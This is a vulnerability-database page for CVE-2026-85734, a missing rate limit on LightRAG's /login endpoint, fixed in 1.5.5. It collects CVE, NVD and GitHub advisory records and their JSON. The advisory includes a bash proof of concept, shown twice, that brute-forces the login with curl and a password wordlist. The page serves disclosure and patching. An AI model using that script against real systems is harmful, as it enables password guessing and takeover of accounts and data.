Vulnerability-Lookup

CVE-2026-85734 (GCVE-0-2026-85734)

Vulnerability from cvelistv5 – Published: 2026-09-22 16:18 – Updated: 2026-09-22 17:43

Title

LightRAG: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

Summary

LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, the POST /login endpoint in lightrag/api/lightrag_server.py does not impose a rate limit, account lockout, delay, or counter for failed authentication attempts. A network attacker can submit password guesses at full request speed until a valid account password is found. Successful credential recovery grants authenticated access to documents, the knowledge graph, and administrative operations. This issue is fixed in version 1.5.5.

Severity

9.1 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

SSVC

Exploitation: none Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-22 17:36 UTC

CWE

CWE-307 - Improper Restriction of Excessive Authentication Attempts

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/HKUDS/LightRAG/security/adviso…	x_refsource_CONFIRM
https://github.com/HKUDS/LightRAG/pull/3424	x_refsource_MISC
https://github.com/HKUDS/LightRAG/commit/135bc905…	x_refsource_MISC
https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
HKUDS	LightRAG	Affected: < 1.5.5	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-85734

Vulnerability from fkie_nvd - Published: 2026-09-22 17:17 - Updated: 2026-09-22 18:17

Severity

9.1 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/HKUDS/LightRAG/commit/135bc9056e9ecd800c1abe2f2ce24d1a86622a54
	security-advisories@github.com	https://github.com/HKUDS/LightRAG/pull/3424
	security-advisories@github.com	https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5
	security-advisories@github.com	https://github.com/HKUDS/LightRAG/security/advisories/GHSA-frch-4w6v-q5xx

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "LightRAG",
          "vendor": "HKUDS",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.5.5"
            }
          ]
        }
      ],
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    }
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      "lang": "en",
      "value": "LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, the POST /login endpoint in lightrag/api/lightrag_server.py does not impose a rate limit, account lockout, delay, or counter for failed authentication attempts. A network attacker can submit password guesses at full request speed until a valid account password is found. Successful credential recovery grants authenticated access to documents, the knowledge graph, and administrative operations. This issue is fixed in version 1.5.5."
    }
  ],
  "id": "CVE-2026-85734",
  "lastModified": "2026-09-22T18:17:23.530",
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GHSA-FRCH-4W6V-Q5XX

Vulnerability from github – Published: 2026-09-22 20:40 – Updated: 2026-09-22 20:40

Summary

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

Details

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "lightrag-hku"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-85734"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-307"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T20:40:22Z",
    "nvd_published_at": "2026-09-22T17:17:27Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.\n\n### Details\n\n```python\n# lightrag/api/lightrag_server.py:2161\n@app.post(\"/login\")\nasync def login(form_data: OAuth2PasswordRequestForm = Depends()):\n    if not auth_handler.verify_password(username, form_data.password):\n        raise HTTPException(status_code=401, detail=\"Incorrect credentials\")\n    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter\n```\n\nA search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.\n\n### PoC\n\n```bash\n# Brute-force /login with a wordlist, no throttling\nwhile IFS= read -r pass; do\n  code=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n    -X POST http://\u003cTARGET\u003e:9621/login \\\n    -d \"username=admin\u0026password=${pass}\")\n  [ \"$code\" = \"200\" ] \u0026\u0026 echo \"[FOUND] $pass\" \u0026\u0026 break\ndone \u003c /usr/share/wordlists/rockyou.txt\n```\n\n### Impact\nImproper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.",
  "id": "GHSA-frch-4w6v-q5xx",
  "modified": "2026-09-22T20:40:22Z",
  "published": "2026-09-22T20:40:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/security/advisories/GHSA-frch-4w6v-q5xx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85734"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/pull/3424"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/commit/135bc9056e9ecd800c1abe2f2ce24d1a86622a54"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/HKUDS/LightRAG"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-85734 (GCVE-0-2026-85734)

FKIE_CVE-2026-85734

GHSA-FRCH-4W6V-Q5XX

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature

Related by attack behaviour